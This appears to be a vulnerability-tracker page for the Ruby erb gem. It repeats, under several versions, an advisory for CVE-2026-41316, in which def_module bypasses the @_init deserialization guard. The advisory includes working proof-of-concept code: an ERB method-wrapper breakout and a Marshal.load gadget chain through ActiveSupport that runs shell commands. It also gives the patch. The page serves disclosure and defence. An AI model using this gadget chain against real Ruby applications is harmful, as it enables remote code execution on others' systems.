erb

Version	Released
`6.0.7` patch	Aug 04, 2026
`6.0.6` patch	Jul 20, 2026
`6.0.5` patch	Jul 16, 2026
`6.0.1.1` patch	Apr 21, 2026
`6.0.4` patch	Apr 21, 2026
`4.0.3.1` patch	Apr 21, 2026
`4.0.4.1` patch	Apr 21, 2026
`6.0.3` patch 1 CVE	Apr 15, 2026
`6.0.2` patch 1 CVE	Feb 23, 2026
`6.0.1` patch 1 CVE	Dec 15, 2025
`6.0.0` major 1 CVE	Nov 12, 2025
`5.1.2` patch 1 CVE	Oct 28, 2025
`5.1.3` patch 1 CVE	Oct 28, 2025
`5.1.1` patch 1 CVE	Oct 12, 2025
`5.1.0` minor 1 CVE	Oct 11, 2025
`5.0.3` patch 1 CVE	Oct 06, 2025
`5.0.2` patch 1 CVE	Jul 24, 2025
`5.0.1` patch 1 CVE	May 14, 2025
`5.0.0` major 1 CVE	May 13, 2025
`4.0.3` patch 1 CVE	Jan 04, 2024
`4.0.4` patch 1 CVE	Jan 04, 2024
`4.0.2` patch 1 CVE	Nov 29, 2022
`4.0.1` patch 1 CVE	Nov 27, 2022
`4.0.0` major 1 CVE	Nov 26, 2022
`3.0.0` major 1 CVE	Oct 25, 2022
`2.2.3` patch 1 CVE	Mar 26, 2021
`2.2.1` patch 1 CVE	Jan 21, 2021
`2.2.2` patch 1 CVE	Jan 21, 2021
`2.2.0` initial 1 CVE	Sep 18, 2020

6.0.7 patch

Aug 04, 2026

6.0.6 patch

Jul 20, 2026

6.0.5 patch

Jul 16, 2026

6.0.1.1 patch

Apr 21, 2026

6.0.4 patch

Apr 21, 2026

4.0.3.1 patch

Apr 21, 2026

4.0.4.1 patch

Apr 21, 2026

6.0.3 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Apr 15, 2026

6.0.2 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 23, 2026

6.0.1 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Dec 15, 2025

6.0.0 major

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


